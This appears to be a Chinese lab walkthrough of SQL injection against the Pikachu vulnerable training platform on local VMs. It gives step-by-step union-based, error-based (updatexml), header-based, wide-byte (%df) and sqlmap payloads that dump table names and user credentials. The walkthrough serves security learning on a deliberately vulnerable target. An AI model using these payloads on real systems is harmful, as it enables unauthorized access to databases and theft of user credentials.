環境:wmware,安裝兩臺win10的虛擬機器器在伺服器上部署服務,在客戶機上進行安全測試
宣告:不涉及網際網路上的資源,學習都在內網完成,一切皆用於學習記錄,不可用於其他用途
win10伺服器:192.168.59.132
win10客戶機:192.168.59.130
涉及到的軟體:
Burp Suite Professional v2.0beta(自行搜尋安裝)
瀏覽器:火狐(這個不重要,隨便)
服務部署用phpstudy部署pikachu漏洞平臺(自行baidu查然後自己部署,有很多寫得很全面的。有一個小坑,部署完,去phpstudy新增一個pikachu的資料庫,然後去pikachu的組態檔找到config.inc.php這個檔案,修改資料庫資訊)
話不多說,直入主題
設定代理後抓包:
然後點代理右邊那個Repeater ,id=1 開始測試,返回正常,無報錯:
修改 id=1‘ 繼續發包 發現報錯了:
繼續修改:id=1' and '1'='1 ,依舊報錯 可以猜想這是一個數位型的注入了
修改id=1 and 1=1 無報錯產生,可以斷定這是數位型的注入(靶場明確告訴我們這是什麼型別,但事實上需要我們一步一步摸索、明確注入型別)
現在進行欄位的判斷:
id=1 order by 1
id=1 order by 2
id=1 order by 3 報錯了,說明只有兩個
id=1 union select 1,2 判斷欄位的回顯位置
查詢資料庫名字,版本--和我內網伺服器的資料庫版本一致:
查詢表名
where table_schema=database()查詢限制條件:當前的pikachu資料庫
information_schema.tables 所有表名
table_name 表名
group_concat()簡而言之就是顯示在一行(可自行baidu深入學習)
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
查詢欄位名
由上面查詢得到的users表名去查詢欄位
column_name 欄位名
columns 欄位
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
直接查詢出來資料:
上面得到username和password欄位
id=1 union select username,password from users
話不多說,判斷方法和上面方法一樣,直接梭哈
這裡要看請求體的裡面的name=1 即是pikachu漏洞平臺的輸入框的1
name=1' 直接報錯
name=1'and'1'='1
兩個方法
方法一:(不用抓包了,沒意義)
1.測試判斷欄位數
1' order by 1#
1' order by 2#
1' order by 3# 這個報錯了,說明只有兩個欄位
3.查詢資料庫
1' union select 1,database()#
4.查表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
5.查欄位
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
6.查資料
1' union select username,password from users #
方法二:萬能密碼(這個沒什麼好說的,原理可以baidu學習一下)
1' or 1=1# 下面操作差不多
vince' order by 2#
vince' union select 1,database()#
vince' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
vince' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
vince' union select username,password from users#
本質還是字元,只是閉合不一樣
注:十六進位制:23 就是 #
隨便搜尋了個dd
得到一個url:
http://192.168.59.132/pikachu-master/vul/sqli/sqli_search.php?name=dd&submit=搜尋
name=dd&submit=%E6%90%9C%E7%B4%A2 由這個可以看出是由%閉合的
測試一下:?name=dd%123%23&submit=%E6%90%9C%E7%B4%A2
可以驗證了上面的結論
開幹
%' order by 1%
%' order by 2%
%' order by 3%
%' order by 4% 報錯 說明只有3個欄位
%' union select 1,2,3% 查詢回顯位置
查資料庫:
%' union select 1,2,database()%
查表:
%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%
查欄位:
%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%
查資料:
%' union select id,username,password from users%
結果:
本質是字元注入,稍稍比上面麻煩點
查詢一下pikachu
http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu&submit=查詢
無報錯
再搜尋pikachu'
http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu'&submit=%E6%9F%A5%E8%AF%A2
有報錯了,根據報錯提示資訊,得知是)閉合
驗證一下)閉合
http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu')%23&submit=%E6%9F%A5%E8%AF%A2
直接上才藝:
name=pikachu') order by 1%23
name=pikachu') order by 2%23
name=pikachu') order by 3%23
1和2都無報錯,3報錯,得知只有2個欄位
http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') order by 3%23&submit=%E6%9F%A5%E8%AF%A2
查回顯位置:
http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,2%23&submit=%E6%9F%A5%E8%AF%A2
查資料庫:
http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,database()%23&submit=%E6%9F%A5%E8%AF%A2
查表:
http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23&submit=%E6%9F%A5%E8%AF%A2
查欄位:
http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23&submit=%E6%9F%A5%E8%AF%A2
查資料:
http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select username,password from users%23&submit=%E6%9F%A5%E8%AF%A2
點註冊,然後用bp抓包
測試閉合:
username=666666','66')&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
報錯了
修改:username=666666','&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
報錯raw數不行
修改:username=666666','66','66','66','66','66')#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
註冊成功,證明是'號閉合
由上可知,SQL語句錯誤時會報錯,可以使用報錯注入
用updatexml()函數來構造注入payload
username=666666' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
or或者and都行,最後可以不用#,第一個引數的單引號閉合就ok。0x7e是~回顯是-,估計是平臺問題?不得而知
查使用者:
查資料庫版本:
路徑:
嗯,兩次結果拼在一起是完整的資料檔案儲存路徑
開幹:
先拆分一下payload
select group_concat(table_name) from information_schema.tables where table_schema=database()
updatexml() 函數
UPDATEXML (XML_document, XPath_string, new_value);
一:XML_document是String格式,為XML檔案物件的名稱
二:XPath_string (Xpath格式的字串)
三:new_value,String格式,替換查詢到的符合條件的資料
函數對XPath_string進行查詢操作,如符合語法格式要求,用第三個引數替換,對於不符合語法格式要求的,報錯並帶出查詢的結果
updatexml(1,concat(0x7e,substr(( ),1,31),0x7e),1)
substr(string, start,
username=' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit
表:
' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '
' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) or '
列:
' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '
' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,31),0x7e),1) or '
' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),63,31),0x7e),1) or '
資料:
' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1) or '
' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),32,31),0x7e),1) or '
substr的第2個引數等於前一次的第2個引數加31
測試閉合,單個'報錯 ,兩個'不報錯,所以是'號閉合
資料庫:
sex=22222222' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit
表:
sex=22222222' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit
列:
sex=22222222' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit
資料:
sex=22222222' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit
bp抓包,先留言後刪除
找到:http://192.168.59.132/pikachu-master/vul/sqli/sqli_del.php?id=56
開幹開幹
庫:
or updatexml(1,concat(0x7e,(select database()),0x7e),1)
表:
or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)
列:
or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1)
資料:
or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'----',password)) from users),1,31),0x7e),1)
登入(admin,123456),抓包
一般可獲取頭部的資訊用於資料分析
通過請求頭部也可以向資料庫傳送查詢資訊
構造惡意語句可以對資料庫進行資訊查詢
Accept:屬於http請求頭,描述使用者端希望接收的響應body 資料型別
總的來說就是希望伺服器返回什麼樣型別的資料
Content-Type:傳送端(使用者端|伺服器)傳送的實體資料的資料型別。
Accept:1 無報錯,Accept:1' 報錯 可以知道存在注入的可能
這用報錯回顯
庫:
Accept:1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
表:
Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '
列:
Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '
資料:
Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'+',password)) from users),1,31),0x7e),1) or '
方法一:
手工去幹去猜!還是不聊了
自行baidu吧!!!!
方法二:
新工具人:sqlmap(自行去GitHub搜尋安裝)
用軟體sqlmap爆破,艾瑪,真香
python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_b.php?name=777&submit=查詢" --current-db
python sqlmap.py -u "url" --current-db
獲取資料庫名:
獲取資料表:
python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_b.php?name=777&submit=查詢" -D pikachu --tables
python sqlmap.py -u "url" -D pikachu --tables
查表:
python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_t.php?name=777&submit=查詢" -D pikachu --tables
python sqlmap.py -u "url" -D pikachu --tables
查列:
python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_t.php?name=777&submit=查詢" -D pikachu -T users --columns
python sqlmap.py -u "url" -D pikachu -T users --columns
查資料:
python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_t.php?name=777&submit=查詢" -D pikachu -T users -C id,username,password --dump
python sqlmap.py -u "url" -D pikachu -T users -C id,username,password --dump
方法三:
python指令碼,自行baidu!!!
原理:
寬位元組注入有addslashes,mysql_escape_string,mysql_real_escape_string等跳脫的函數
對輸入'符號進行了跳脫'
pikachu靶場是addslashes()進行了跳脫
單引號(')
雙引號(")
反斜槓(\)
NULL
在下方設定編碼時設定為了gbk編碼
利用反斜槓編碼為%5c
用%df構成(連)字繞過對 ’符號 的跳脫
簡而言之,就是由於編碼的問題,用%df' 可以繞過對‘的跳脫
開幹!!!
bp抓包,隨便輸入1,點選檢視轉到repeater:
查欄位:
1%df' order by 2#
1%df' order by 3# 有錯誤產生
查位置:
1%df' union select 1,2#
查版本:
1%df' union select 1,@@version#
查資料庫:
1%df' union select 1,database()#
查表:
1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查列:
按上面的方法會被跳脫處理掉,報錯
所以只能巢狀:
1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1))#
拆分後更好理解(*表示下一句所在位置):
1%df' union select 1,*# //第一句
(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(*) //第二句
select table_name from information_schema.tables where table_schema=(select database())limit 3,1) //第三句
查資料:
1%df' union select username,password from users#
pikachu的SQL靶場到此為止
注:未經同意請勿轉載,僅作學習使用。以上有描述不正確之處,望大家能不吝指出,共同學習共同進步。謝謝